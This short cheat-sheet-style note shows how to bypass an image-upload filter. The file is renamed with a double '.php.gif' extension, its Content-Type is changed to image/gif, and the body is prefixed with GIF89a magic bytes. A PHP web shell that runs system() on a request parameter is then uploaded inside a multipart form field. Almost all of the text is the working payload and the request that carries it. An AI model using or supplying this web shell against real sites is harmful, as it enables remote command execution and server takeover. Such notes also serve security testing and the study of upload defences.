GIF89a - GIF magic bytes

Change the “ Filename “ from “ profile picture.png “ to “profile picture.php.gif ”
Change the **Content-type from “ image/png “ to “ image/gif “
And Add this **Payload** : `GIF89a <?php echo system($_REQUEST['dx']); ?>`
Where **GIF89a is the GIF magic bytes this bypass the file upload extension**
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Content-Disposition: form-data; name="newpic"; filename="profile picture.php.gif"
Content-Type: image/gif

GIF89a <?php echo system($_REQUEST['dx']); ?>